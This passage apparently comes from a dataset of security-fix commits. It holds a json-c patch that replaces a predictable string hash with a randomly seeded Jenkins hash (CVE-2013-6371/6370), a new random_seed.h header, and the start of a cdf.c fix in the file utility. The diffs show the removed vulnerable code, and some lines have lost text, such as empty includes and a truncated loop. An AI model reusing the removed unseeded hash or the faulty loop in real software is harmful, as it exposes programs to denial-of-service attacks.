Bob Jenkins, May 2006, Public Domain.\n+\n+These are functions for producing 32-bit hashes for hash table lookup.\n+hashword(), hashlittle(), hashlittle2(), hashbig(), mix(), and final() \n+are externally useful functions. Routines to test the hash are included \n+if SELF_TEST is defined. You can use this free for any purpose. It's in\n+the public domain. It has no warranty.\n+\n+You probably want to use hashlittle(). hashlittle() and hashbig()\n+hash byte arrays. hashlittle() is is faster than hashbig() on\n+little-endian machines. Intel and AMD are little-endian machines.\n+On second thought, you probably want hashlittle2(), which is identical to\n+hashlittle() except it returns two 32-bit hashes for the price of one. \n+You could implement hashbig2() if you wanted but I haven't bothered here.\n+\n+If you want to find a hash of, say, exactly 7 integers, do\n+ a = i1; b = i2; c = i3;\n+ mix(a,b,c);\n+ a += i4; b += i5; c += i6;\n+ mix(a,b,c);\n+ a += i7;\n+ final(a,b,c);\n+then use c as the hash value. If you have a variable length array of\n+4-byte integers to hash, use hashword(). If you have a byte array (like\n+a character string), use hashlittle(). If you have several byte arrays, or\n+a mix of things, see the comments above hashlittle(). \n+\n+Why is this so big? I read 12 bytes at a time into 3 4-byte integers, \n+then mix those integers. This is fast (you can do a lot more thorough\n+mixing with 12*3 instructions on 3 integers than you can with 3 instructions\n+on 1 byte), but shoehorning those bytes into integers efficiently is messy.\n+-------------------------------------------------------------------------------\n+*/\n+\n+/*\n+ * My best guess at if you are big-endian or little-endian. This may\n+ * need adjustment.\n+ */\n+#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) && \\\n+ __BYTE_ORDER == __LITTLE_ENDIAN) || \\\n+ (defined(i386) || defined(__i386__) || defined(__i486__) || \\\n+ defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))\n+# define HASH_LITTLE_ENDIAN 1\n+# define HASH_BIG_ENDIAN 0\n+#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) && \\\n+ __BYTE_ORDER == __BIG_ENDIAN) || \\\n+ (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))\n+# define HASH_LITTLE_ENDIAN 0\n+# define HASH_BIG_ENDIAN 1\n+#else\n+# define HASH_LITTLE_ENDIAN 0\n+# define HASH_BIG_ENDIAN 0\n+#endif\n+\n+#define hashsize(n) ((uint32_t)1<<(n))\n+#define hashmask(n) (hashsize(n)-1)\n+#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))\n+\n+/*\n+-------------------------------------------------------------------------------\n+mix -- mix 3 32-bit values reversibly.\n+\n+This is reversible, so any information in (a,b,c) before mix() is\n+still in (a,b,c) after mix().\n+\n+If four pairs of (a,b,c) inputs are run through mix(), or through\n+mix() in reverse, there are at least 32 bits of the output that\n+are sometimes the same for one pair and different for another pair.\n+This was tested for:\n+* pairs that differed by one bit, by two bits, in any combination\n+ of top bits of (a,b,c), or in any combination of bottom bits of\n+ (a,b,c).\n+* \"differ\" is defined as +, -, ^, or ~^. For + and -, I transformed\n+ the output delta to a Gray code (a^(a>>1)) so a string of 1's (as\n+ is commonly produced by subtraction) look like a single 1-bit\n+ difference.\n+* the base values were pseudorandom, all zero but one bit set, or \n+ all zero plus a counter that starts at zero.\n+\n+Some k values for my \"a-=c; a^=rot(c,k); c+=b;\" arrangement that\n+satisfy this are\n+ 4 6 8 16 19 4\n+ 9 15 3 18 27 15\n+ 14 9 3 7 17 3\n+Well, \"9 15 3 18 27 15\" didn't quite get 32 bits diffing\n+for \"differ\" defined as + with a one-bit base and a two-bit delta. I\n+used http://burtleburtle.net/bob/hash/avalanche.html to choose \n+the operations, constants, and arrangements of the variables.\n+\n+This does not achieve avalanche. There are input bits of (a,b,c)\n+that fail to affect some output bits of (a,b,c), especially of a. The\n+most thoroughly mixed value is c, but it doesn't really even achieve\n+avalanche in c.\n+\n+This allows some parallelism. Read-after-writes are good at doubling\n+the number of bits affected, so the goal of mixing pulls in the opposite\n+direction as the goal of parallelism. I did what I could. Rotates\n+seem to cost as much as shifts on every machine I could lay my hands\n+on, and rotates are much kinder to the top and bottom bits, so I used\n+rotates.\n+-------------------------------------------------------------------------------\n+*/\n+#define mix(a,b,c) \\\n+{ \\\n+ a -= c; a ^= rot(c, 4); c += b; \\\n+ b -= a; b ^= rot(a, 6); a += c; \\\n+ c -= b; c ^= rot(b, 8); b += a; \\\n+ a -= c; a ^= rot(c,16); c += b; \\\n+ b -= a; b ^= rot(a,19); a += c; \\\n+ c -= b; c ^= rot(b, 4); b += a; \\\n+}\n+\n+/*\n+-------------------------------------------------------------------------------\n+final -- final mixing of 3 32-bit values (a,b,c) into c\n+\n+Pairs of (a,b,c) values differing in only a few bits will usually\n+produce values of c that look totally different. This was tested for\n+* pairs that differed by one bit, by two bits, in any combination\n+ of top bits of (a,b,c), or in any combination of bottom bits of\n+ (a,b,c).\n+* \"differ\" is defined as +, -, ^, or ~^. For + and -, I transformed\n+ the output delta to a Gray code (a^(a>>1)) so a string of 1's (as\n+ is commonly produced by subtraction) look like a single 1-bit\n+ difference.\n+* the base values were pseudorandom, all zero but one bit set, or \n+ all zero plus a counter that starts at zero.\n+\n+These constants passed:\n+ 14 11 25 16 4 14 24\n+ 12 14 25 16 4 14 24\n+and these came close:\n+ 4 8 15 26 3 22 24\n+ 10 8 15 26 3 22 24\n+ 11 8 15 26 3 22 24\n+-------------------------------------------------------------------------------\n+*/\n+#define final(a,b,c) \\\n+{ \\\n+ c ^= b; c -= rot(b,14); \\\n+ a ^= c; a -= rot(c,11); \\\n+ b ^= a; b -= rot(a,25); \\\n+ c ^= b; c -= rot(b,16); \\\n+ a ^= c; a -= rot(c,4); \\\n+ b ^= a; b -= rot(a,14); \\\n+ c ^= b; c -= rot(b,24); \\\n+}\n+\n+\n+/*\n+-------------------------------------------------------------------------------\n+hashlittle() -- hash a variable-length key into a 32-bit value\n+ k : the key (the unaligned variable-length array of bytes)\n+ length : the length of the key, counting by bytes\n+ initval : can be any 4-byte value\n+Returns a 32-bit value. Every bit of the key affects every bit of\n+the return value. Two keys differing by one or two bits will have\n+totally different hash values.\n+\n+The best hash table sizes are powers of 2. There is no need to do\n+mod a prime (mod is sooo slow!). If you need less than 32 bits,\n+use a bitmask. For example, if you need only 10 bits, do\n+ h = (h & hashmask(10));\n+In which case, the hash table should have hashsize(10) elements.\n+\n+If you are hashing n strings (uint8_t **)k, do it like this:\n+ for (i=0, h=0; i 12)\n+ {\n+ a += k[0];\n+ b += k[1];\n+ c += k[2];\n+ mix(a,b,c);\n+ length -= 12;\n+ k += 3;\n+ }\n+\n+ /*----------------------------- handle the last (probably partial) block */\n+ /* \n+ * \"k[2]&0xffffff\" actually reads beyond the end of the string, but\n+ * then masks off the part it's not allowed to read. Because the\n+ * string is aligned, the masked-off tail is in the same word as the\n+ * rest of the string. Every machine with memory protection I've seen\n+ * does it on word boundaries, so is OK with this. But VALGRIND will\n+ * still catch it and complain. The masking trick does make the hash\n+ * noticably faster for short strings (like English words).\n+ */\n+#ifndef VALGRIND\n+\n+ switch(length)\n+ {\n+ case 12: c+=k[2]; b+=k[1]; a+=k[0]; break;\n+ case 11: c+=k[2]&0xffffff; b+=k[1]; a+=k[0]; break;\n+ case 10: c+=k[2]&0xffff; b+=k[1]; a+=k[0]; break;\n+ case 9 : c+=k[2]&0xff; b+=k[1]; a+=k[0]; break;\n+ case 8 : b+=k[1]; a+=k[0]; break;\n+ case 7 : b+=k[1]&0xffffff; a+=k[0]; break;\n+ case 6 : b+=k[1]&0xffff; a+=k[0]; break;\n+ case 5 : b+=k[1]&0xff; a+=k[0]; break;\n+ case 4 : a+=k[0]; break;\n+ case 3 : a+=k[0]&0xffffff; break;\n+ case 2 : a+=k[0]&0xffff; break;\n+ case 1 : a+=k[0]&0xff; break;\n+ case 0 : return c; /* zero length strings require no mixing */\n+ }\n+\n+#else /* make valgrind happy */\n+\n+ const uint8_t *k8 = (const uint8_t *)k;\n+ switch(length)\n+ {\n+ case 12: c+=k[2]; b+=k[1]; a+=k[0]; break;\n+ case 11: c+=((uint32_t)k8[10])<<16; /* fall through */\n+ case 10: c+=((uint32_t)k8[9])<<8; /* fall through */\n+ case 9 : c+=k8[8]; /* fall through */\n+ case 8 : b+=k[1]; a+=k[0]; break;\n+ case 7 : b+=((uint32_t)k8[6])<<16; /* fall through */\n+ case 6 : b+=((uint32_t)k8[5])<<8; /* fall through */\n+ case 5 : b+=k8[4]; /* fall through */\n+ case 4 : a+=k[0]; break;\n+ case 3 : a+=((uint32_t)k8[2])<<16; /* fall through */\n+ case 2 : a+=((uint32_t)k8[1])<<8; /* fall through */\n+ case 1 : a+=k8[0]; break;\n+ case 0 : return c;\n+ }\n+\n+#endif /* !valgrind */\n+\n+ } else if (HASH_LITTLE_ENDIAN && ((u.i & 0x1) == 0)) {\n+ const uint16_t *k = (const uint16_t *)key; /* read 16-bit chunks */\n+ const uint8_t *k8;\n+\n+ /*--------------- all but last block: aligned reads and different mixing */\n+ while (length > 12)\n+ {\n+ a += k[0] + (((uint32_t)k[1])<<16);\n+ b += k[2] + (((uint32_t)k[3])<<16);\n+ c += k[4] + (((uint32_t)k[5])<<16);\n+ mix(a,b,c);\n+ length -= 12;\n+ k += 6;\n+ }\n+\n+ /*----------------------------- handle the last (probably partial) block */\n+ k8 = (const uint8_t *)k;\n+ switch(length)\n+ {\n+ case 12: c+=k[4]+(((uint32_t)k[5])<<16);\n+ b+=k[2]+(((uint32_t)k[3])<<16);\n+ a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 11: c+=((uint32_t)k8[10])<<16; /* fall through */\n+ case 10: c+=k[4];\n+ b+=k[2]+(((uint32_t)k[3])<<16);\n+ a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 9 : c+=k8[8]; /* fall through */\n+ case 8 : b+=k[2]+(((uint32_t)k[3])<<16);\n+ a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 7 : b+=((uint32_t)k8[6])<<16; /* fall through */\n+ case 6 : b+=k[2];\n+ a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 5 : b+=k8[4]; /* fall through */\n+ case 4 : a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 3 : a+=((uint32_t)k8[2])<<16; /* fall through */\n+ case 2 : a+=k[0];\n+ break;\n+ case 1 : a+=k8[0];\n+ break;\n+ case 0 : return c; /* zero length requires no mixing */\n+ }\n+\n+ } else { /* need to read the key one byte at a time */\n+ const uint8_t *k = (const uint8_t *)key;\n+\n+ /*--------------- all but the last block: affect some 32 bits of (a,b,c) */\n+ while (length > 12)\n+ {\n+ a += k[0];\n+ a += ((uint32_t)k[1])<<8;\n+ a += ((uint32_t)k[2])<<16;\n+ a += ((uint32_t)k[3])<<24;\n+ b += k[4];\n+ b += ((uint32_t)k[5])<<8;\n+ b += ((uint32_t)k[6])<<16;\n+ b += ((uint32_t)k[7])<<24;\n+ c += k[8];\n+ c += ((uint32_t)k[9])<<8;\n+ c += ((uint32_t)k[10])<<16;\n+ c += ((uint32_t)k[11])<<24;\n+ mix(a,b,c);\n+ length -= 12;\n+ k += 12;\n+ }\n+\n+ /*-------------------------------- last block: affect all 32 bits of (c) */\n+ switch(length) /* all the case statements fall through */\n+ {\n+ case 12: c+=((uint32_t)k[11])<<24;\n+ case 11: c+=((uint32_t)k[10])<<16;\n+ case 10: c+=((uint32_t)k[9])<<8;\n+ case 9 : c+=k[8];\n+ case 8 : b+=((uint32_t)k[7])<<24;\n+ case 7 : b+=((uint32_t)k[6])<<16;\n+ case 6 : b+=((uint32_t)k[5])<<8;\n+ case 5 : b+=k[4];\n+ case 4 : a+=((uint32_t)k[3])<<24;\n+ case 3 : a+=((uint32_t)k[2])<<16;\n+ case 2 : a+=((uint32_t)k[1])<<8;\n+ case 1 : a+=k[0];\n+ break;\n+ case 0 : return c;\n+ }\n+ }\n+\n+ final(a,b,c);\n+ return c;\n+}\n+\n unsigned long lh_char_hash(const void *k)\n {\n-\tunsigned int h = 0;\n-\tconst char* data = (const char*)k;\n- \n-\twhile( *data!=0 ) h = h*129 + (unsigned int)(*data++) + LH_PRIME;\n+\tstatic volatile int random_seed = -1;\n+\n+\tif (random_seed == -1) {\n+\t\tint seed;\n+\t\t/* we can't use -1 as it is the unitialized sentinel */\n+\t\twhile ((seed = json_c_get_random_seed()) == -1);\n+#if defined __GNUC__\n+\t\t__sync_val_compare_and_swap(&random_seed, -1, seed);\n+#elif defined _MSC_VER\n+\t\tInterlockedCompareExchange(&random_seed, seed, -1);\n+#else\n+#warning \"racy random seed initializtion if used by multiple threads\"\n+\t\trandom_seed = seed; /* potentially racy */\n+#endif\n+\t}\n \n-\treturn h;\n+\treturn hashlittle((const char*)k, strlen((const char*)k), random_seed); \n }\n \n int lh_char_equal(const void *k1, const void *k2)", "sections": [{"section": "@@ -17,6 +17,11 @@\n #include \n #include \n \n+#ifdef HAVE_ENDIAN_H\n+# include /* attempt to define endianness */\n+#endif\n+\n+#include \"random_seed.h\"\n #include \"linkhash.h\"\n \n void lh_abort(const char *msg, ...)\n", "related": false}, {"section": "@@ -39,14 +44,378 @@ int lh_ptr_equal(const void *k1, const void *k2)\n \treturn (k1 == k2);\n }\n \n+/* \n+ * hashlittle from lookup3.c, by Bob Jenkins, May 2006, Public Domain.\n+ * http://burtleburtle.net/bob/c/lookup3.c\n+ * minor modifications to make functions static so no symbols are exported\n+ * minor mofifications to compile with -Werror\n+ */\n+\n+/*\n+-------------------------------------------------------------------------------\n+lookup3.c, by Bob Jenkins, May 2006, Public Domain.\n+\n+These are functions for producing 32-bit hashes for hash table lookup.\n+hashword(), hashlittle(), hashlittle2(), hashbig(), mix(), and final() \n+are externally useful functions. Routines to test the hash are included \n+if SELF_TEST is defined. You can use this free for any purpose. It's in\n+the public domain. It has no warranty.\n+\n+You probably want to use hashlittle(). hashlittle() and hashbig()\n+hash byte arrays. hashlittle() is is faster than hashbig() on\n+little-endian machines. Intel and AMD are little-endian machines.\n+On second thought, you probably want hashlittle2(), which is identical to\n+hashlittle() except it returns two 32-bit hashes for the price of one. \n+You could implement hashbig2() if you wanted but I haven't bothered here.\n+\n+If you want to find a hash of, say, exactly 7 integers, do\n+ a = i1; b = i2; c = i3;\n+ mix(a,b,c);\n+ a += i4; b += i5; c += i6;\n+ mix(a,b,c);\n+ a += i7;\n+ final(a,b,c);\n+then use c as the hash value. If you have a variable length array of\n+4-byte integers to hash, use hashword(). If you have a byte array (like\n+a character string), use hashlittle(). If you have several byte arrays, or\n+a mix of things, see the comments above hashlittle(). \n+\n+Why is this so big? I read 12 bytes at a time into 3 4-byte integers, \n+then mix those integers. This is fast (you can do a lot more thorough\n+mixing with 12*3 instructions on 3 integers than you can with 3 instructions\n+on 1 byte), but shoehorning those bytes into integers efficiently is messy.\n+-------------------------------------------------------------------------------\n+*/\n+\n+/*\n+ * My best guess at if you are big-endian or little-endian. This may\n+ * need adjustment.\n+ */\n+#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) && \\\n+ __BYTE_ORDER == __LITTLE_ENDIAN) || \\\n+ (defined(i386) || defined(__i386__) || defined(__i486__) || \\\n+ defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))\n+# define HASH_LITTLE_ENDIAN 1\n+# define HASH_BIG_ENDIAN 0\n+#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) && \\\n+ __BYTE_ORDER == __BIG_ENDIAN) || \\\n+ (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))\n+# define HASH_LITTLE_ENDIAN 0\n+# define HASH_BIG_ENDIAN 1\n+#else\n+# define HASH_LITTLE_ENDIAN 0\n+# define HASH_BIG_ENDIAN 0\n+#endif\n+\n+#define hashsize(n) ((uint32_t)1<<(n))\n+#define hashmask(n) (hashsize(n)-1)\n+#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))\n+\n+/*\n+-------------------------------------------------------------------------------\n+mix -- mix 3 32-bit values reversibly.\n+\n+This is reversible, so any information in (a,b,c) before mix() is\n+still in (a,b,c) after mix().\n+\n+If four pairs of (a,b,c) inputs are run through mix(), or through\n+mix() in reverse, there are at least 32 bits of the output that\n+are sometimes the same for one pair and different for another pair.\n+This was tested for:\n+* pairs that differed by one bit, by two bits, in any combination\n+ of top bits of (a,b,c), or in any combination of bottom bits of\n+ (a,b,c).\n+* \"differ\" is defined as +, -, ^, or ~^. For + and -, I transformed\n+ the output delta to a Gray code (a^(a>>1)) so a string of 1's (as\n+ is commonly produced by subtraction) look like a single 1-bit\n+ difference.\n+* the base values were pseudorandom, all zero but one bit set, or \n+ all zero plus a counter that starts at zero.\n+\n+Some k values for my \"a-=c; a^=rot(c,k); c+=b;\" arrangement that\n+satisfy this are\n+ 4 6 8 16 19 4\n+ 9 15 3 18 27 15\n+ 14 9 3 7 17 3\n+Well, \"9 15 3 18 27 15\" didn't quite get 32 bits diffing\n+for \"differ\" defined as + with a one-bit base and a two-bit delta. I\n+used http://burtleburtle.net/bob/hash/avalanche.html to choose \n+the operations, constants, and arrangements of the variables.\n+\n+This does not achieve avalanche. There are input bits of (a,b,c)\n+that fail to affect some output bits of (a,b,c), especially of a. The\n+most thoroughly mixed value is c, but it doesn't really even achieve\n+avalanche in c.\n+\n+This allows some parallelism. Read-after-writes are good at doubling\n+the number of bits affected, so the goal of mixing pulls in the opposite\n+direction as the goal of parallelism. I did what I could. Rotates\n+seem to cost as much as shifts on every machine I could lay my hands\n+on, and rotates are much kinder to the top and bottom bits, so I used\n+rotates.\n+-------------------------------------------------------------------------------\n+*/\n+#define mix(a,b,c) \\\n+{ \\\n+ a -= c; a ^= rot(c, 4); c += b; \\\n+ b -= a; b ^= rot(a, 6); a += c; \\\n+ c -= b; c ^= rot(b, 8); b += a; \\\n+ a -= c; a ^= rot(c,16); c += b; \\\n+ b -= a; b ^= rot(a,19); a += c; \\\n+ c -= b; c ^= rot(b, 4); b += a; \\\n+}\n+\n+/*\n+-------------------------------------------------------------------------------\n+final -- final mixing of 3 32-bit values (a,b,c) into c\n+\n+Pairs of (a,b,c) values differing in only a few bits will usually\n+produce values of c that look totally different. This was tested for\n+* pairs that differed by one bit, by two bits, in any combination\n+ of top bits of (a,b,c), or in any combination of bottom bits of\n+ (a,b,c).\n+* \"differ\" is defined as +, -, ^, or ~^. For + and -, I transformed\n+ the output delta to a Gray code (a^(a>>1)) so a string of 1's (as\n+ is commonly produced by subtraction) look like a single 1-bit\n+ difference.\n+* the base values were pseudorandom, all zero but one bit set, or \n+ all zero plus a counter that starts at zero.\n+\n+These constants passed:\n+ 14 11 25 16 4 14 24\n+ 12 14 25 16 4 14 24\n+and these came close:\n+ 4 8 15 26 3 22 24\n+ 10 8 15 26 3 22 24\n+ 11 8 15 26 3 22 24\n+-------------------------------------------------------------------------------\n+*/\n+#define final(a,b,c) \\\n+{ \\\n+ c ^= b; c -= rot(b,14); \\\n+ a ^= c; a -= rot(c,11); \\\n+ b ^= a; b -= rot(a,25); \\\n+ c ^= b; c -= rot(b,16); \\\n+ a ^= c; a -= rot(c,4); \\\n+ b ^= a; b -= rot(a,14); \\\n+ c ^= b; c -= rot(b,24); \\\n+}\n+\n+\n+/*\n+-------------------------------------------------------------------------------\n+hashlittle() -- hash a variable-length key into a 32-bit value\n+ k : the key (the unaligned variable-length array of bytes)\n+ length : the length of the key, counting by bytes\n+ initval : can be any 4-byte value\n+Returns a 32-bit value. Every bit of the key affects every bit of\n+the return value. Two keys differing by one or two bits will have\n+totally different hash values.\n+\n+The best hash table sizes are powers of 2. There is no need to do\n+mod a prime (mod is sooo slow!). If you need less than 32 bits,\n+use a bitmask. For example, if you need only 10 bits, do\n+ h = (h & hashmask(10));\n+In which case, the hash table should have hashsize(10) elements.\n+\n+If you are hashing n strings (uint8_t **)k, do it like this:\n+ for (i=0, h=0; i 12)\n+ {\n+ a += k[0];\n+ b += k[1];\n+ c += k[2];\n+ mix(a,b,c);\n+ length -= 12;\n+ k += 3;\n+ }\n+\n+ /*----------------------------- handle the last (probably partial) block */\n+ /* \n+ * \"k[2]&0xffffff\" actually reads beyond the end of the string, but\n+ * then masks off the part it's not allowed to read. Because the\n+ * string is aligned, the masked-off tail is in the same word as the\n+ * rest of the string. Every machine with memory protection I've seen\n+ * does it on word boundaries, so is OK with this. But VALGRIND will\n+ * still catch it and complain. The masking trick does make the hash\n+ * noticably faster for short strings (like English words).\n+ */\n+#ifndef VALGRIND\n+\n+ switch(length)\n+ {\n+ case 12: c+=k[2]; b+=k[1]; a+=k[0]; break;\n+ case 11: c+=k[2]&0xffffff; b+=k[1]; a+=k[0]; break;\n+ case 10: c+=k[2]&0xffff; b+=k[1]; a+=k[0]; break;\n+ case 9 : c+=k[2]&0xff; b+=k[1]; a+=k[0]; break;\n+ case 8 : b+=k[1]; a+=k[0]; break;\n+ case 7 : b+=k[1]&0xffffff; a+=k[0]; break;\n+ case 6 : b+=k[1]&0xffff; a+=k[0]; break;\n+ case 5 : b+=k[1]&0xff; a+=k[0]; break;\n+ case 4 : a+=k[0]; break;\n+ case 3 : a+=k[0]&0xffffff; break;\n+ case 2 : a+=k[0]&0xffff; break;\n+ case 1 : a+=k[0]&0xff; break;\n+ case 0 : return c; /* zero length strings require no mixing */\n+ }\n+\n+#else /* make valgrind happy */\n+\n+ const uint8_t *k8 = (const uint8_t *)k;\n+ switch(length)\n+ {\n+ case 12: c+=k[2]; b+=k[1]; a+=k[0]; break;\n+ case 11: c+=((uint32_t)k8[10])<<16; /* fall through */\n+ case 10: c+=((uint32_t)k8[9])<<8; /* fall through */\n+ case 9 : c+=k8[8]; /* fall through */\n+ case 8 : b+=k[1]; a+=k[0]; break;\n+ case 7 : b+=((uint32_t)k8[6])<<16; /* fall through */\n+ case 6 : b+=((uint32_t)k8[5])<<8; /* fall through */\n+ case 5 : b+=k8[4]; /* fall through */\n+ case 4 : a+=k[0]; break;\n+ case 3 : a+=((uint32_t)k8[2])<<16; /* fall through */\n+ case 2 : a+=((uint32_t)k8[1])<<8; /* fall through */\n+ case 1 : a+=k8[0]; break;\n+ case 0 : return c;\n+ }\n+\n+#endif /* !valgrind */\n+\n+ } else if (HASH_LITTLE_ENDIAN && ((u.i & 0x1) == 0)) {\n+ const uint16_t *k = (const uint16_t *)key; /* read 16-bit chunks */\n+ const uint8_t *k8;\n+\n+ /*--------------- all but last block: aligned reads and different mixing */\n+ while (length > 12)\n+ {\n+ a += k[0] + (((uint32_t)k[1])<<16);\n+ b += k[2] + (((uint32_t)k[3])<<16);\n+ c += k[4] + (((uint32_t)k[5])<<16);\n+ mix(a,b,c);\n+ length -= 12;\n+ k += 6;\n+ }\n+\n+ /*----------------------------- handle the last (probably partial) block */\n+ k8 = (const uint8_t *)k;\n+ switch(length)\n+ {\n+ case 12: c+=k[4]+(((uint32_t)k[5])<<16);\n+ b+=k[2]+(((uint32_t)k[3])<<16);\n+ a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 11: c+=((uint32_t)k8[10])<<16; /* fall through */\n+ case 10: c+=k[4];\n+ b+=k[2]+(((uint32_t)k[3])<<16);\n+ a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 9 : c+=k8[8]; /* fall through */\n+ case 8 : b+=k[2]+(((uint32_t)k[3])<<16);\n+ a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 7 : b+=((uint32_t)k8[6])<<16; /* fall through */\n+ case 6 : b+=k[2];\n+ a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 5 : b+=k8[4]; /* fall through */\n+ case 4 : a+=k[0]+(((uint32_t)k[1])<<16);\n+ break;\n+ case 3 : a+=((uint32_t)k8[2])<<16; /* fall through */\n+ case 2 : a+=k[0];\n+ break;\n+ case 1 : a+=k8[0];\n+ break;\n+ case 0 : return c; /* zero length requires no mixing */\n+ }\n+\n+ } else { /* need to read the key one byte at a time */\n+ const uint8_t *k = (const uint8_t *)key;\n+\n+ /*--------------- all but the last block: affect some 32 bits of (a,b,c) */\n+ while (length > 12)\n+ {\n+ a += k[0];\n+ a += ((uint32_t)k[1])<<8;\n+ a += ((uint32_t)k[2])<<16;\n+ a += ((uint32_t)k[3])<<24;\n+ b += k[4];\n+ b += ((uint32_t)k[5])<<8;\n+ b += ((uint32_t)k[6])<<16;\n+ b += ((uint32_t)k[7])<<24;\n+ c += k[8];\n+ c += ((uint32_t)k[9])<<8;\n+ c += ((uint32_t)k[10])<<16;\n+ c += ((uint32_t)k[11])<<24;\n+ mix(a,b,c);\n+ length -= 12;\n+ k += 12;\n+ }\n+\n+ /*-------------------------------- last block: affect all 32 bits of (c) */\n+ switch(length) /* all the case statements fall through */\n+ {\n+ case 12: c+=((uint32_t)k[11])<<24;\n+ case 11: c+=((uint32_t)k[10])<<16;\n+ case 10: c+=((uint32_t)k[9])<<8;\n+ case 9 : c+=k[8];\n+ case 8 : b+=((uint32_t)k[7])<<24;\n+ case 7 : b+=((uint32_t)k[6])<<16;\n+ case 6 : b+=((uint32_t)k[5])<<8;\n+ case 5 : b+=k[4];\n+ case 4 : a+=((uint32_t)k[3])<<24;\n+ case 3 : a+=((uint32_t)k[2])<<16;\n+ case 2 : a+=((uint32_t)k[1])<<8;\n+ case 1 : a+=k[0];\n+ break;\n+ case 0 : return c;\n+ }\n+ }\n+\n+ final(a,b,c);\n+ return c;\n+}\n+\n unsigned long lh_char_hash(const void *k)\n {\n-\tunsigned int h = 0;\n-\tconst char* data = (const char*)k;\n- \n-\twhile( *data!=0 ) h = h*129 + (unsigned int)(*data++) + LH_PRIME;\n+\tstatic volatile int random_seed = -1;\n+\n+\tif (random_seed == -1) {\n+\t\tint seed;\n+\t\t/* we can't use -1 as it is the unitialized sentinel */\n+\t\twhile ((seed = json_c_get_random_seed()) == -1);\n+#if defined __GNUC__\n+\t\t__sync_val_compare_and_swap(&random_seed, -1, seed);\n+#elif defined _MSC_VER\n+\t\tInterlockedCompareExchange(&random_seed, seed, -1);\n+#else\n+#warning \"racy random seed initializtion if used by multiple threads\"\n+\t\trandom_seed = seed; /* potentially racy */\n+#endif\n+\t}\n \n-\treturn h;\n+\treturn hashlittle((const char*)k, strlen((const char*)k), random_seed); \n }\n \n int lh_char_equal(const void *k1, const void *k2)", "related": false}]} +{"owner": "json-c", "repo": "json-c", "language": "C", "file_name": "random_seed.h", "commit_id": "64e36901a0614bf64a19bc3396469c66dcd0b015", "commit_message": "Patch to address the following issues:\n\n* CVE-2013-6371: hash collision denial of service\n* CVE-2013-6370: buffer overflow if size_t is larger than int", "patch": "@@ -0,0 +1,25 @@\n+/*\n+ * random_seed.h\n+ *\n+ * Copyright (c) 2013 Metaparadigm Pte. Ltd.\n+ * Michael Clark \n+ *\n+ * This library is free software; you can redistribute it and/or modify\n+ * it under the terms of the MIT license. See COPYING for details.\n+ *\n+ */\n+\n+#ifndef seed_h\n+#define seed_h\n+\n+#ifdef __cplusplus\n+extern \"C\" {\n+#endif\n+\n+extern int json_c_get_random_seed();\n+\n+#ifdef __cplusplus\n+}\n+#endif\n+\n+#endif", "sections": [{"section": "@@ -0,0 +1,25 @@\n+/*\n+ * random_seed.h\n+ *\n+ * Copyright (c) 2013 Metaparadigm Pte. Ltd.\n+ * Michael Clark \n+ *\n+ * This library is free software; you can redistribute it and/or modify\n+ * it under the terms of the MIT license. See COPYING for details.\n+ *\n+ */\n+\n+#ifndef seed_h\n+#define seed_h\n+\n+#ifdef __cplusplus\n+extern \"C\" {\n+#endif\n+\n+extern int json_c_get_random_seed();\n+\n+#ifdef __cplusplus\n+}\n+#endif\n+\n+#endif", "related": false}]} +{"owner": "file", "repo": "file", "language": "C", "file_name": "src/cdf.c", "commit_id": "b8acc83781d5a24cc5101e525d15efe0482c280d", "commit_message": "Remove loop that kept reading the same offset (Jan Kaluza)", "patch": "@@ -35,7 +35,7 @@\n #include \"file.h\"\n \n #ifndef lint\n-FILE_RCSID(\"@(#)$File: cdf.c,v 1.55 2014/02/27 23:26:17 christos Exp $\")\n+FILE_RCSID(\"@(#)$File: cdf.c,v 1.56 2014/05/05 16:11:21 christos Exp $\")\n #endif\n \n #include \n@@ -932,7 +932,7 @@ int\n cdf_unpack_summary_info(const cdf_stream_t *sst, const cdf_header_t *h,\n cdf_summary_info_header_t *ssi, cdf_property_info_t **info, size_t *count)\n {\n-\tsize_t i, maxcount;\n+\tsize_t maxcount;\n \tconst cdf_summary_info_header_t *si =\n \t CAST(const cdf_summary_info_header_t *, sst->sst_tab);\n \tconst cdf_section_declaration_t *sd =\n@@ -947,21 +947,13 @@ cdf_unpack_summary_info(const cdf_stream_t *sst, const cdf_header_t *h,\n \tssi->si_os = CDF_TOLE2(si->si_os);\n \tssi->si_class = si->si_class;\n \tcdf_swap_class(&ssi->si_class);\n-\tssi->si_count = CDF_TOLE2(si->si_count);\n+\tssi->si_count = CDF_TOLE4(si->si_count);\n \t*count = 0;\n \tmaxcount = 0;\n \t*info = NULL;\n-\tfor (i = 0; i < CDF_TOLE4(si->si_count); i++) {\n-\t\tif (i >= CDF_LOOP_LIMIT) {\n-\t\t\tDPRINTF((\"Unpack summary info loop limit\"));\n-\t\t\terrno = EFTYPE;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tif (cdf_read_property_info(sst, h, CDF_TOLE4(sd->sd_offset),\n-\t\t info, count, &maxcount) == -1) {\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n+\tif (cdf_read_property_info(sst, h, CDF_TOLE4(sd->sd_offset), info,\n+\t count, &maxcount) == -1)\n+\t\treturn -1;\n \treturn 0;\n }\n ", "sections": [{"section": "@@ -35,7 +35,7 @@\n #include \"file.h\"\n \n #ifndef lint\n-FILE_RCSID(\"@(#)$File: cdf.c,v 1.55 2014/02/27 